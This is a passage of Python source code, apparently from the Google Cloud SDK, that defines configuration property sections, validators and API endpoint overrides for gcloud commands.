self.looker,\n self.media_asset,\n self.memcache,\n self.metastore,\n self.metrics,\n self.ml_engine,\n self.mps,\n self.netapp,\n self.notebooks,\n self.pubsub,\n self.privateca,\n self.proxy,\n self.recaptcha,\n self.redis,\n self.resource_policy,\n self.run,\n self.runapps,\n self.secrets,\n self.spanner,\n self.storage,\n self.survey,\n self.test,\n self.transport,\n self.transcoder,\n self.vmware,\n self.web3,\n self.workflows,\n ]\n self.__sections = {section.name: section for section in sections}\n self.__invocation_value_stack = [{}]\n\n @property\n def default_section(self):\n return self.core\n\n def __iter__(self):\n return iter(self.__sections.values())\n\n def PushInvocationValues(self):\n self.__invocation_value_stack.append({})\n\n def PopInvocationValues(self):\n self.__invocation_value_stack.pop()\n\n def SetInvocationValue(self, prop, value, flag):\n \"\"\"Set the value of this property for this command, using a flag.\n\n Args:\n prop: _Property, The property with an explicit value.\n value: str, The value that should be returned while this command is\n running.\n flag: str, The flag that a user can use to set the property, reported if\n it was required at some point but not set by the command line.\n \"\"\"\n value_flags = self.GetLatestInvocationValues()\n if value:\n prop.Validate(value)\n value_flags[prop] = _Sections._ValueFlag(value, flag)\n\n def GetLatestInvocationValues(self):\n return self.__invocation_value_stack[-1]\n\n def GetInvocationStack(self):\n return self.__invocation_value_stack\n\n def Section(self, section):\n \"\"\"Gets a section given its name.\n\n Args:\n section: str, The section for the desired property.\n\n Returns:\n Section, The section corresponding to the given name.\n\n Raises:\n NoSuchPropertyError: If the section is not known.\n \"\"\"\n try:\n return self.__sections[section]\n except KeyError:\n raise NoSuchPropertyError(\n 'Section \"{section}\" does not exist.'.format(section=section))\n\n def AllSections(self, include_hidden=False):\n \"\"\"Gets a list of all registered section names.\n\n Args:\n include_hidden: bool, True to include hidden properties in the result.\n\n Returns:\n [str], The section names.\n \"\"\"\n return [\n name for name, value in six.iteritems(self.__sections)\n if not value.is_hidden or include_hidden\n ]\n\n def AllValues(self,\n list_unset=False,\n include_hidden=False,\n properties_file=None,\n only_file_contents=False):\n \"\"\"Gets the entire collection of property values for all sections.\n\n Args:\n list_unset: bool, If True, include unset properties in the result.\n include_hidden: bool, True to include hidden properties in the result. If\n a property has a value set but is hidden, it will be included regardless\n of this setting.\n properties_file: PropertyFile, the file to read settings from. If None\n the active property file will be used.\n only_file_contents: bool, True if values should be taken only from the\n properties file, false if flags, env vars, etc. should be consulted too.\n Mostly useful for listing file contents.\n\n Returns:\n {str:{str:str}}, A dict of sections to dicts of properties to values.\n \"\"\"\n result = {}\n for section in self:\n section_result = section.AllValues(\n list_unset=list_unset,\n include_hidden=include_hidden,\n properties_file=properties_file,\n only_file_contents=only_file_contents)\n if section_result:\n result[section.name] = section_result\n return result\n\n def AllPropertyValues(self,\n list_unset=False,\n include_hidden=False,\n properties_file=None,\n only_file_contents=False):\n \"\"\"Gets the entire collection of property values for all sections.\n\n Args:\n list_unset: bool, If True, include unset properties in the result.\n include_hidden: bool, True to include hidden properties in the result. If\n a property has a value set but is hidden, it will be included regardless\n of this setting.\n properties_file: PropertyFile, the file to read settings from. If None\n the active property file will be used.\n only_file_contents: bool, True if values should be taken only from the\n properties file, false if flags, env vars, etc. should be consulted too.\n Mostly useful for listing file contents.\n\n Returns:\n {str:{str:PropertyValue}}, A dict of sections to dicts of properties to\n property values.\n \"\"\"\n result = {}\n for section in self:\n section_result = section.AllPropertyValues(\n list_unset=list_unset,\n include_hidden=include_hidden,\n properties_file=properties_file,\n only_file_contents=only_file_contents)\n if section_result:\n result[section.name] = section_result\n return result\n\n def GetHelpString(self):\n \"\"\"Gets a string with the help contents for all properties and descriptions.\n\n Returns:\n str, The string for the man page section.\n \"\"\"\n messages = []\n sections = [self.default_section]\n default_section_name = self.default_section.name\n sections.extend(\n sorted([\n s for name, s in six.iteritems(self.__sections)\n if name != default_section_name and not s.is_hidden\n ]))\n for section in sections:\n props = sorted([p for p in section if not p.is_hidden])\n if not props:\n continue\n messages.append('_{section}_::'.format(section=section.name))\n for prop in props:\n messages.append('*{prop}*:::\\n\\n{text}'.format(\n prop=prop.name, text=prop.help_text))\n return '\\n\\n\\n'.join(messages)\n\n\nclass _Section(object):\n \"\"\"Represents a section of the properties file that has related properties.\n\n Attributes:\n name: str, The name of the section.\n is_hidden: bool, True if the section is hidden, False otherwise.\n \"\"\"\n\n def __init__(self, name, hidden=False):\n self.__name = name\n self.__is_hidden = hidden\n self.__properties = {}\n\n @property\n def name(self):\n return self.__name\n\n @property\n def is_hidden(self):\n return self.__is_hidden\n\n def __iter__(self):\n return iter(self.__properties.values())\n\n def __hash__(self):\n return hash(self.name)\n\n def __eq__(self, other):\n return self.name == other.name\n\n def __ne__(self, other):\n return self.name != other.name\n\n def __gt__(self, other):\n return self.name > other.name\n\n def __ge__(self, other):\n return self.name >= other.name\n\n def __lt__(self, other):\n return self.name < other.name\n\n def __le__(self, other):\n return self.name <= other.name\n\n # pylint: disable=missing-docstring\n def _Add(self,\n name,\n help_text=None,\n internal=False,\n hidden=False,\n callbacks=None,\n default=None,\n validator=None,\n choices=None,\n completer=None,\n default_flag=None,\n is_feature_flag=None):\n prop = _Property(\n section=self.__name,\n name=name,\n help_text=help_text,\n internal=internal,\n hidden=(self.is_hidden or hidden),\n callbacks=callbacks,\n default=default,\n validator=validator,\n choices=choices,\n completer=completer,\n default_flag=default_flag,\n is_feature_flag=is_feature_flag)\n self.__properties[name] = prop\n return prop\n\n def _AddBool(self,\n name,\n help_text=None,\n internal=False,\n hidden=False,\n callbacks=None,\n default=None):\n return self._Add(\n name=name,\n help_text=help_text,\n internal=internal,\n hidden=hidden,\n callbacks=callbacks,\n default=default,\n validator=functools.partial(_BooleanValidator, name),\n choices=('true', 'false'))\n\n def Property(self, property_name):\n \"\"\"Gets a property from this section, given its name.\n\n Args:\n property_name: str, The name of the desired property.\n\n Returns:\n Property, The property corresponding to the given name.\n\n Raises:\n NoSuchPropertyError: If the property is not known for this section.\n \"\"\"\n try:\n return self.__properties[property_name]\n except KeyError:\n raise NoSuchPropertyError('Section [{s}] has no property [{p}].'.format(\n s=self.__name, p=property_name))\n\n def HasProperty(self, property_name):\n \"\"\"True iff section has given property.\n\n Args:\n property_name: str, The name of the property to check for membership.\n\n Returns:\n a boolean. True iff this section contains property_name.\n \"\"\"\n return property_name in self.__properties\n\n def AllProperties(self, include_hidden=False):\n \"\"\"Gets a list of all registered property names in this section.\n\n Args:\n include_hidden: bool, True to include hidden properties in the result.\n\n Returns:\n [str], The property names.\n \"\"\"\n return [\n name for name, prop in six.iteritems(self.__properties)\n if include_hidden or not prop.is_hidden\n ]\n\n def AllValues(self,\n list_unset=False,\n include_hidden=False,\n properties_file=None,\n only_file_contents=False):\n \"\"\"Gets all the properties and their values for this section.\n\n Args:\n list_unset: bool, If True, include unset properties in the result.\n include_hidden: bool, True to include hidden properties in the result. If\n a property has a value set but is hidden, it will be included regardless\n of this setting.\n properties_file: properties_file.PropertiesFile, the file to read settings\n from. If None the active property file will be used.\n only_file_contents: bool, True if values should be taken only from the\n properties file, false if flags, env vars, etc. should be consulted too.\n Mostly useful for listing file contents.\n\n Returns:\n {str:str}, The dict of {property:value} for this section.\n \"\"\"\n properties_file = (\n properties_file or named_configs.ActivePropertiesFile.Load())\n\n result = {}\n for prop in self:\n if prop.is_internal:\n # Never show internal properties, ever.\n continue\n if (prop.is_hidden and not include_hidden and\n _GetPropertyWithoutCallback(prop, properties_file) is None):\n continue\n\n if only_file_contents:\n value = properties_file.Get(prop.section, prop.name)\n else:\n property_value = _GetPropertyWithoutDefault(prop, properties_file)\n if property_value is None:\n value = None\n else:\n value = property_value.value\n\n if value is None:\n if not list_unset:\n # Never include if not set and not including unset values.\n continue\n if prop.is_hidden and not include_hidden:\n # If including unset values, exclude if hidden and not including\n # hidden properties.\n continue\n\n # Always include if value is set (even if hidden)\n result[prop.name] = value\n return result\n\n def AllPropertyValues(self,\n list_unset=False,\n include_hidden=False,\n properties_file=None,\n only_file_contents=False):\n \"\"\"Gets all the properties and their values for this section.\n\n Args:\n list_unset: bool, If True, include unset properties in the result.\n include_hidden: bool, True to include hidden properties in the result. If\n a property has a value set but is hidden, it will be included regardless\n of this setting.\n properties_file: properties_file.PropertiesFile, the file to read settings\n from. If None the active property file will be used.\n only_file_contents: bool, True if values should be taken only from the\n properties file, false if flags, env vars, etc. should be consulted too.\n Mostly useful for listing file contents.\n\n Returns:\n {str:PropertyValue}, The dict of {property:value} for this section.\n \"\"\"\n properties_file = (\n properties_file or named_configs.ActivePropertiesFile.Load())\n\n result = {}\n for prop in self:\n if prop.is_internal:\n # Never show internal properties, ever.\n continue\n if (prop.is_hidden and not include_hidden and\n _GetPropertyWithoutCallback(prop, properties_file) is None):\n continue\n\n if only_file_contents:\n property_value = PropertyValue(\n properties_file.Get(prop.section, prop.name),\n PropertyValue.PropertySource.PROPERTY_FILE)\n else:\n property_value = _GetPropertyWithoutDefault(prop, properties_file)\n\n if (property_value is None) or (property_value.value is None):\n if not list_unset:\n # Never include if not set and not including unset property_values.\n continue\n if prop.is_hidden and not include_hidden:\n # If including unset property_values, exclude if hidden and not\n # including hidden properties.\n continue\n\n # Always include if value is set (even if hidden)\n result[prop.name] = property_value\n return result\n\n\ndef AccessPolicyValidator(policy):\n \"\"\"Checks to see if the Access Policy string is valid.\"\"\"\n if policy is None:\n return\n if not policy.isdigit():\n raise InvalidValueError(\n 'The access_context_manager.policy property must be set '\n 'to the policy number, not a string.')\n\n\nclass _SectionAccessContextManager(_Section):\n \"\"\"Contains the properties for the 'access_context_manager' section.\"\"\"\n\n def OrganizationValidator(self, org):\n \"\"\"Checks to see if the Organization string is valid.\"\"\"\n if org is None:\n return\n if not org.isdigit():\n raise InvalidValueError(\n 'The access_context_manager.organization property must be set '\n 'to the organization ID number, not a string.')\n\n def __init__(self):\n super(_SectionAccessContextManager, self).__init__(\n 'access_context_manager', hidden=True)\n\n self.policy = self._Add(\n 'policy',\n validator=AccessPolicyValidator,\n help_text=('ID of the policy resource to operate on. Can be found '\n 'by running the `access-context-manager policies list` '\n 'command.'))\n self.organization = self._Add(\n 'organization',\n validator=self.OrganizationValidator,\n help_text=('Default organization cloud-bindings command group will '\n 'operate on.'))\n\n\nclass _SectionAccessibility(_Section):\n \"\"\"Contains the properties for the 'accessibility' section.\"\"\"\n\n def __init__(self):\n super(_SectionAccessibility, self).__init__('accessibility')\n self.screen_reader = self._AddBool(\n 'screen_reader',\n default=False,\n help_text='Make gcloud more screen reader friendly.')\n\n\nclass _SectionAi(_Section):\n \"\"\"Contains the properties for the command group 'ai' section.\"\"\"\n\n def __init__(self):\n super(_SectionAi, self).__init__('ai')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with '\n 'AI Platform resources. When a `--region` flag is required '\n 'but not provided, the command will fall back to this value, if set.')\n\n\nclass _SectionAiPlatform(_Section):\n \"\"\"Contains the properties for the command group 'ai_platform' section.\"\"\"\n\n def __init__(self):\n super(_SectionAiPlatform, self).__init__('ai_platform')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with AI Platform '\n 'Training and Prediction resources (currently for Prediction only). '\n 'It is ignored for training resources for now. The value should be '\n 'either `global` or one of the supported regions. When a `--region` '\n 'flag is required but not provided, the command will fall back to this '\n 'value, if set.')\n\n\nclass _SectionApiClientOverrides(_Section):\n \"\"\"Contains the properties for the 'api-client-overrides' section.\n\n This overrides the API client version to use when talking to this API.\n \"\"\"\n\n def __init__(self):\n super(_SectionApiClientOverrides, self).__init__(\n 'api_client_overrides', hidden=True)\n self.alloydb = self._Add('alloydb')\n self.appengine = self._Add('appengine')\n self.baremetalsolution = self._Add('baremetalsolution')\n self.cloudidentity = self._Add('cloudidentity')\n self.compute = self._Add('compute')\n self.compute_alpha = self._Add('compute/alpha')\n self.compute_beta = self._Add('compute/beta')\n self.compute_v1 = self._Add('compute/v1')\n self.container = self._Add('container')\n self.speech = self._Add('speech')\n self.sql = self._Add('sql')\n self.storage = self._Add('storage')\n self.run = self._Add('run')\n self.scc = self._Add('securitycenter')\n self.cloudresourcemanager = self._Add('cloudresourcemanager')\n\n\nclass _SectionApiEndpointOverrides(_Section):\n \"\"\"Contains the properties for the 'api-endpoint-overrides' section.\n\n This overrides what endpoint to use when talking to the given API.\n \"\"\"\n\n def __init__(self):\n super(_SectionApiEndpointOverrides, self).__init__('api_endpoint_overrides')\n self.accessapproval = self._Add(\n 'accessapproval', command='gcloud access-approval')\n self.accesscontextmanager = self._Add(\n 'accesscontextmanager', command='gcloud access-context-manager')\n self.ai = self._Add('ai', command='gcloud ai')\n self.aiplatform = self._Add('aiplatform', command='gcloud ai-platform')\n self.alloydb = self._Add('alloydb', command='gcloud alloydb', hidden=True)\n self.anthosevents = self._Add('anthosevents', command='gcloud anthos')\n self.anthospolicycontrollerstatus_pa = self._Add(\n 'anthospolicycontrollerstatus_pa',\n command='gcloud container fleet policycontroller')\n self.apigateway = self._Add('apigateway', command='gcloud api-gateway')\n self.apigee = self._Add('apigee', command='gcloud apigee')\n self.appengine = self._Add('appengine', command='gcloud app')\n self.apphub = self._Add('apphub', command='gcloud apphub')\n self.artifactregistry = self._Add(\n 'artifactregistry', command='gcloud artifacts')\n self.assuredworkloads = self._Add(\n 'assuredworkloads', command='gcloud assured')\n self.authztoolkit = self._Add(\n 'authztoolkit', command='gcloud authz-toolkit', hidden=True)\n self.baremetalsolution = self._Add(\n 'baremetalsolution', command='gcloud bms')\n self.batch = self._Add('batch', command='gcloud batch', hidden=True)\n self.beyondcorp = self._Add('beyondcorp', hidden=True)\n self.bigquery = self._Add('bigquery', hidden=True)\n self.bigtableadmin = self._Add('bigtableadmin', command='gcloud bigtable')\n self.binaryauthorization = self._Add(\n 'binaryauthorization', command='gcloud container binauthz', hidden=True)\n self.blueprints = self._Add('config', command='gcloud blueprints')\n self.categorymanager = self._Add('categorymanager', hidden=True)\n self.certificatemanager = self._Add(\n 'certificatemanager', command='gcloud certificate-manager')\n self.cloudasset = self._Add('cloudasset', command='gcloud asset')\n self.cloudbilling = self._Add('cloudbilling', command='gcloud billing')\n self.cloudbuild = self._Add('cloudbuild', command='gcloud builds')\n self.cloudcommerceconsumerprocurement = self._Add(\n 'cloudcommerceconsumerprocurement',\n command='gcloud commerce-procurement')\n self.clouddebugger = self._Add('clouddebugger', command='gcloud debug')\n self.clouddeploy = self._Add('clouddeploy', command='gcloud deploy')\n self.clouderrorreporting = self._Add(\n 'clouderrorreporting', command='gcloud error-reporting')\n self.cloudfunctions = self._Add(\n 'cloudfunctions', command='gcloud functions')\n self.cloudidentity = self._Add('cloudidentity', command='gcloud identity')\n self.cloudiot = self._Add('cloudiot', command='gcloud iot')\n self.cloudkms = self._Add('cloudkms', command='gcloud kms')\n self.cloudresourcemanager = self._Add(\n 'cloudresourcemanager', command='gcloud projects')\n self.cloudresourcesearch = self._Add('cloudresourcesearch', hidden=True)\n self.cloudscheduler = self._Add(\n 'cloudscheduler', command='gcloud scheduler')\n self.cloudtasks = self._Add('cloudtasks', command='gcloud tasks')\n self.cloudtrace = self._Add('cloudtrace', command='gcloud trace')\n self.composer = self._Add('composer', command='gcloud composer')\n self.compute = self._Add(\n 'compute',\n help_text='Overrides API endpoint for `gcloud compute` command group. '\n 'For Private Service Connect usage, see '\n 'https://cloud.google.com/vpc/docs/configure-private-service-connect-apis#using-endpoints'\n )\n self.container = self._Add('container', command='gcloud container')\n self.containeranalysis = self._Add('containeranalysis', hidden=True)\n self.datacatalog = self._Add('datacatalog', command='gcloud data-catalog')\n self.dataflow = self._Add('dataflow', command='gcloud dataflow')\n self.datafusion = self._Add('datafusion', command='gcloud data-fusion')\n self.datamigration = self._Add(\n 'datamigration', command='gcloud database-migration')\n self.datapol = self._Add('datapol', hidden=True)\n self.datapipelines = self._Add(\n 'datapipelines', command='gcloud datapipelines')\n self.dataplex = self._Add('dataplex', command='gcloud dataplex')\n self.dataproc = self._Add('dataproc', command='gcloud dataproc')\n self.dataprocgdc = self._Add('dataprocgdc', hidden=True)\n self.datastore = self._Add('datastore', command='gcloud datastore')\n self.datastream = self._Add('datastream', command='gcloud datastream')\n self.deploymentmanager = self._Add(\n 'deploymentmanager', command='gcloud deployment-manager')\n self.discovery = self._Add('discovery', hidden=True)\n self.dns = self._Add('dns', command='gcloud dns')\n self.domains = self._Add('domains', command='gcloud domains')\n self.edgecontainer = self._Add(\n 'edgecontainer', command='gcloud edge-container')\n self.edgenetwork = self._Add(\n 'edgenetwork', command='gcloud edge-cloud networking', hidden=True)\n self.eventarc = self._Add('eventarc', command='gcloud eventarc')\n self.eventarcpublishing = self._Add(\n 'eventarcpublishing', command='gcloud eventarc publish')\n self.events = self._Add('events', command='gcloud events')\n self.faultinjectiontesting = self._Add(\n 'faultinjectiontesting', command='gcloud fault-injection')\n self.file = self._Add('file', command='gcloud filestore')\n self.firestore = self._Add('firestore', command='gcloud firestore')\n self.gameservices = self._Add('gameservices', command='gcloud gamer')\n self.genomics = self._Add('genomics', command='gcloud genomics')\n self.gkebackup = self._Add('gkebackup', hidden=True)\n self.gkehub = self._Add('gkehub', hidden=True)\n self.gkemulticloud = self._Add(\n 'gkemulticloud',\n help_text='Overrides API endpoint for `gcloud container aws`, '\n '`gcloud container azure` and `gcloud container attached` '\n 'command groups.'\n )\n # TODO(b/236427906): Unhide after gcloud client releases to GA.\n self.gkeonprem = self._Add('gkeonprem', hidden=True)\n self.healthcare = self._Add('healthcare', command='gcloud healthcare')\n self.iam = self._Add('iam', command='gcloud iam')\n self.iamcredentials = self._Add('iamcredentials', command='gcloud iam')\n self.iap = self._Add('iap', command='gcloud iap')\n self.ids = self._Add('ids', command='gcloud ids')\n self.krmapihosting = self._Add(\n 'krmapihosting', command='gcloud anthos config controller')\n self.kubernetespolicy = self._Add('kubernetespolicy', hidden=True)\n self.inframanager = self._Add(\n 'inframanager', command='gcloud infra-manager')\n self.language = self._Add('language', command='gcloud ml language')\n self.lifesciences = self._Add('lifesciences', command='gcloud lifesciences')\n self.logging = self._Add('logging', command='gcloud logging')\n self.looker = self._Add('looker', command='gcloud looker')\n self.managedidentities = self._Add(\n 'managedidentities', command='gcloud active-directory')\n self.manager = self._Add('manager', hidden=True)\n self.marketplacesolutions = self._Add(\n 'marketplacesolutions', command='gcloud mps')\n self.mediaasset = self._Add('mediaasset', command='gcloud media')\n self.memcache = self._Add('memcache', command='gcloud memcache')\n self.messagestreams = self._Add(\n 'messagestreams', command='gcloud messagestreams', hidden=True)\n self.metastore = self._Add('metastore', command='gcloud metastore')\n self.ml = self._Add('ml', hidden=True)\n self.monitoring = self._Add('monitoring', command='gcloud monitoring')\n self.netapp = self._Add('netapp', command='gcloud netapp')\n self.networkconnectivity = self._Add(\n 'networkconnectivity', command='gcloud network-connectivity')\n self.networkmanagement = self._Add(\n 'networkmanagement', command='gcloud network-management')\n self.networksecurity = self._Add(\n 'networksecurity', command='gcloud network-security')\n self.networkservices = self._Add(\n 'networkservices', command='gcloud network-services')\n self.notebooks = self._Add('notebooks', command='gcloud notebooks')\n self.ondemandscanning = self._Add('ondemandscanning', hidden=True)\n self.orglifecycle = self._Add(\n 'orglifecycle', command='gcloud orglifecycle', hidden=True)\n self.orgpolicy = self._Add('orgpolicy', command='gcloud org-policies')\n self.osconfig = self._Add('osconfig', hidden=True)\n self.oslogin = self._Add('oslogin', hidden=True)\n self.parallelstore = self._Add('parallelstore', hidden=True)\n self.policyanalyzer = self._Add(\n 'policyanalyzer', command='policy-intelligence')\n self.policysimulator = self._Add('policysimulator', hidden=True)\n self.policytroubleshooter = self._Add('policytroubleshooter', hidden=True)\n self.privateca = self._Add('privateca', command='gcloud privateca')\n self.publicca = self._Add('publicca', command='gcloud publicca')\n self.pubsub = self._Add('pubsub', command='gcloud pubsub')\n self.pubsublite = self._Add('pubsublite', hidden=True)\n self.recaptcha = self._Add(\n 'recaptchaenterprise', command='gcloud recaptcha')\n self.recommender = self._Add('recommender', command='gcloud recommender')\n self.redis = self._Add('redis', command='gcloud redis')\n self.remotebuildexecution = self._Add('remotebuildexecution', hidden=True)\n self.replicapoolupdater = self._Add('replicapoolupdater', hidden=True)\n self.resourcesettings = self._Add(\n 'resourcesettings', command='gcloud resource-settings')\n self.run = self._Add('run', command='gcloud run')\n self.runapps = self._Add('runapps', hidden=True)\n self.runtimeconfig = self._Add(\n 'runtimeconfig', command='gcloud runtime-config')\n self.sasportal = self._Add('sasportal', hidden=True)\n self.scc = self._Add('securitycenter', command='gcloud scc')\n self.sddc = self._Add('sddc', command='gcloud vmware sddc')\n self.secrets = self._Add('secretmanager', command='gcloud secrets')\n self.securedlandingzone = self._Add(\n 'securedlandingzone', hidden=True, command='gcloud scc slz-overwatch')\n self.securesourcemanager = self._Add('securesourcemanager', hidden=True)\n self.securityposture = self._Add('securityposture', hidden=True)\n self.servicedirectory = self._Add(\n 'servicedirectory', command='gcloud service-directory')\n self.servicemanagement = self._Add(\n 'servicemanagement', command='gcloud endpoints')\n self.serviceregistry = self._Add('serviceregistry', hidden=True)\n self.serviceusage = self._Add('serviceusage', hidden=True)\n self.source = self._Add('source', hidden=True)\n self.sourcerepo = self._Add('sourcerepo', command='gcloud source')\n self.spanner = self._Add(\n 'spanner',\n help_text='Overrides API endpoint for `gcloud spanner` command group. '\n 'For spanner emulator usage, see '\n 'https://cloud.google.com/spanner/docs/emulator#using_the_gcloud_cli_with_the_emulator'\n )\n self.speech = self._Add('speech', command='gcloud ml speech')\n self.sql = self._Add('sql', command='gcloud sql')\n self.storage = self._Add('storage', command='gcloud storage')\n self.storageinsights = self._Add(\n 'storageinsights', command='gcloud storage insights', hidden=True)\n self.stream = self._Add('stream', hidden=True)\n self.telcoautomation = self._Add('telcoautomation', hidden=True)\n self.telecomdatafabric = self._Add('telecomdatafabric', hidden=True)\n self.testing = self._Add('testing', command='gcloud firebase test')\n self.toolresults = self._Add('toolresults', hidden=True)\n self.tpu = self._Add('tpu', hidden=True)\n # Aliased to `storagetransfer` in `api_lib/apis/apis_util.py`.\n self.transfer = self._Add('transfer', command='gcloud transfer')\n self.vision = self._Add('vision', command='gcloud ml vision')\n self.vmwareengine = self._Add('vmwareengine', command='gcloud vmware')\n self.vpcaccess = self._Add('vpcaccess', hidden=True)\n self.workflowexecutions = self._Add(\n 'workflowexecutions', command='gcloud workflows executions')\n self.workflows = self._Add('workflows', command='gcloud workflows')\n self.workstations = self._Add('workstations', command='gcloud workstations')\n\n def EndpointValidator(self, value):\n \"\"\"Checks to see if the endpoint override string is valid.\"\"\"\n if value is None:\n return\n if not _VALID_ENDPOINT_OVERRIDE_REGEX.match(value):\n raise InvalidValueError(\n 'The endpoint_overrides property must be an absolute URI beginning '\n 'with http:// or https:// and ending with a trailing \\'/\\'. '\n '[{value}] is not a valid endpoint override.'.format(value=value))\n\n def _Add(self, name, help_text=None, hidden=False, command=None):\n if not help_text and command:\n help_text = (\n 'Overrides API endpoint for `{}` command group.').format(command)\n\n default_endpoint = self.GetDefaultEndpoint(name)\n if command and default_endpoint:\n help_text = ('{} Defaults to {}').format(help_text, default_endpoint)\n\n return super(_SectionApiEndpointOverrides, self)._Add(\n name,\n help_text=help_text,\n hidden=hidden,\n validator=self.EndpointValidator)\n\n def GetDefaultEndpoint(self, api_name):\n \"\"\"Returns the BASE_URL for the repective api and version.\"\"\"\n api = apis_map.MAP.get(api_name)\n if api:\n for api_version in api:\n api_def = api.get(api_version)\n if api_def.default_version and api_def.apitools:\n return api_def.apitools.base_url\n\n\nclass _SectionApp(_Section):\n \"\"\"Contains the properties for the 'app' section.\"\"\"\n\n def __init__(self):\n super(_SectionApp, self).__init__('app')\n self.promote_by_default = self._AddBool(\n 'promote_by_default',\n help_text='If True, when deploying a new version of a service, that '\n 'version will be promoted to receive all traffic for the service. '\n 'This property can be overridden with the `--promote-by-default` or '\n '`--no-promote-by-default` flags.',\n default=True)\n self.stop_previous_version = self._AddBool(\n 'stop_previous_version',\n help_text='If True, when deploying a new version of a service, the '\n 'previously deployed version is stopped. If False, older versions must '\n 'be stopped manually.',\n default=True)\n self.trigger_build_server_side = self._AddBool(\n 'trigger_build_server_side', hidden=True, default=None)\n self.use_flex_with_buildpacks = self._AddBool(\n 'use_flex_with_buildpacks', hidden=True, default=None)\n self.cloud_build_timeout = self._Add(\n 'cloud_build_timeout',\n validator=_BuildTimeoutValidator,\n help_text='Timeout, in seconds, to wait for Docker builds to '\n 'complete during deployments. All Docker builds now use the '\n 'Cloud Build API.')\n self.container_builder_image = self._Add(\n 'container_builder_image',\n default='gcr.io/cloud-builders/docker',\n hidden=True)\n self.use_appengine_api = self._AddBool(\n 'use_appengine_api', default=True, hidden=True)\n # This property is currently ignored except on OS X Sierra or beta\n # deployments.\n # There's a theoretical benefit to exceeding the number of cores available,\n # since the task is bound by network/API latency among other factors, and\n # mini-benchmarks validated this (I got speedup from 4 threads to 8 on a\n # 4-core machine).\n self.num_file_upload_threads = self._Add(\n 'num_file_upload_threads', default=None, hidden=True)\n\n def GetRuntimeRoot():\n sdk_root = config.Paths().sdk_root\n if sdk_root is None:\n return None\n else:\n return os.path.join(config.Paths().sdk_root, 'platform', 'ext-runtime')\n\n self.runtime_root = self._Add(\n 'runtime_root', callbacks=[GetRuntimeRoot], hidden=True)\n\n # Whether or not to use the (currently under-development) Flex Runtime\n # Builders, as opposed to Externalized Runtimes.\n # True => ALWAYS\n # False => NEVER\n # Unset => default behavior, which varies between beta/GA commands\n self.use_runtime_builders = self._Add(\n 'use_runtime_builders',\n default=None,\n help_text=('If set, opt in/out to a new code path for building '\n 'applications using pre-fabricated runtimes that can be '\n 'updated independently of client tooling. If not set, '\n 'the default path for each runtime is used.'))\n # The Cloud Storage path prefix for the Flex Runtime Builder configuration\n # files. The configuration files will live at\n # \"/-.yaml\", with an additional\n # \"/runtime.version\" indicating the latest version.\n self.runtime_builders_root = self._Add(\n 'runtime_builders_root', default='gs://runtime-builders/', hidden=True)\n\n\nclass _SectionArtifacts(_Section):\n \"\"\"Contains the properties for the 'artifacts' section.\"\"\"\n\n def __init__(self):\n super(_SectionArtifacts, self).__init__('artifacts')\n\n self.repository = self._Add(\n 'repository',\n help_text='Default repository to use when working with Artifact '\n 'Registry resources. When a `repository` value is required but not '\n 'provided, the command will fall back to this value, if set.')\n\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Artifact Registry '\n 'resources. When a `location` value is required but not provided, the '\n 'command will fall back to this value, if set. If this value is unset, '\n 'the default location is `global` when `location` value is optional.')\n\n self.registry_endpoint_prefix = self._Add(\n 'registry_endpoint_prefix',\n default='',\n hidden=True,\n help_text='Default prefix to use while interacting with Artifact '\n 'Registry resources.')\n\n\nclass _SectionAuth(_Section):\n \"\"\"Contains the properties for the 'auth' section.\"\"\"\n DEFAULT_AUTH_HOST = 'https://accounts.google.com/o/oauth2/auth'\n DEFAULT_TOKEN_HOST = 'https://oauth2.googleapis.com/token'\n DEFAULT_MTLS_TOKEN_HOST = 'https://oauth2.mtls.googleapis.com/token'\n\n def __init__(self):\n super(_SectionAuth, self).__init__('auth')\n self.auth_host = self._Add(\n 'auth_host', hidden=True, default=self.DEFAULT_AUTH_HOST)\n self.disable_credentials = self._AddBool(\n 'disable_credentials',\n default=False,\n help_text='If True, `gcloud` will not attempt to load any credentials '\n 'or authenticate any requests. This is useful when behind a proxy '\n 'that adds authentication to requests.')\n self.token_host = self._Add(\n 'token_host',\n default=self.DEFAULT_TOKEN_HOST,\n help_text='Overrides the token endpoint to provision access tokens. '\n 'It can be used with Private Service Connect.')\n self.mtls_token_host = self._Add(\n 'mtls_token_host',\n default=self.DEFAULT_MTLS_TOKEN_HOST,\n help_text='Overrides the mtls token endpoint to provision access tokens.',\n hidden=True)\n self.disable_ssl_validation = self._AddBool(\n 'disable_ssl_validation', hidden=True)\n self.client_id = self._Add(\n 'client_id', hidden=True, default=config.CLOUDSDK_CLIENT_ID)\n self.client_secret = self._Add(\n 'client_secret',\n hidden=True,\n default=config.CLOUDSDK_CLIENT_NOTSOSECRET)\n self.authority_selector = self._Add('authority_selector', hidden=True)\n self.authorization_token_file = self._Add(\n 'authorization_token_file', hidden=True)\n self.credential_file_override = self._Add(\n 'credential_file_override', hidden=True)\n self.access_token_file = self._Add(\n 'access_token_file',\n help_text='A file path to read the access token. Use this property to '\n 'authenticate gcloud with an access token. The credentials '\n 'of the active account (if it exists) will be ignored. '\n 'The file should contain an access token with no other '\n 'information.')\n self.impersonate_service_account = self._Add(\n 'impersonate_service_account',\n help_text=textwrap.dedent(\"\"\"\\\n While set, all API requests will be\n made as the given service account or target service account in an\n impersonation delegation chain instead of the currently selected\n account. You can specify either a single service account as the\n impersonator, or a comma-separated list of service accounts to\n create an impersonation delegation chain. This is done without\n needing to create, download, or activate a key for the service\n account or accounts.\n +\n In order to make API requests as a service account, your\n currently selected account must have an IAM role that includes\n the `iam.serviceAccounts.getAccessToken` permission for the\n service account or accounts.\n +\n The `roles/iam.serviceAccountTokenCreator` role has\n the `iam.serviceAccounts.getAccessToken permission`. You can\n also create a custom role.\n +\n You can specify a list of service accounts, separated with\n commas. This creates an impersonation delegation chain in which\n each service account delegates its permissions to the next\n service account in the chain. Each service account in the list\n must have the `roles/iam.serviceAccountTokenCreator` role on the\n next service account in the list. For example, when the property is set\n through `gcloud config set auth/impersonate_service_account=`\n ``SERVICE_ACCOUNT_1'',``SERVICE_ACCOUNT_2'',\n the active account must have the\n `roles/iam.serviceAccountTokenCreator` role on\n ``SERVICE_ACCOUNT_1'', which must have the\n `roles/iam.serviceAccountTokenCreator` role on\n ``SERVICE_ACCOUNT_2''.\n ``SERVICE_ACCOUNT_1'' is the impersonated service\n account and ``SERVICE_ACCOUNT_2'' is the delegate.\n \"\"\"))\n self.disable_code_verifier = 